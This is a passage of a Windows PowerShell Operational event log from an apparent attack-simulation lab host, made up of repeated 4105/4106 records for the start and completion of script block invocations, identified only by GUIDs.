SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025155
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025154
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025153
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025152
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025131
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025125
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025105
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025103
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
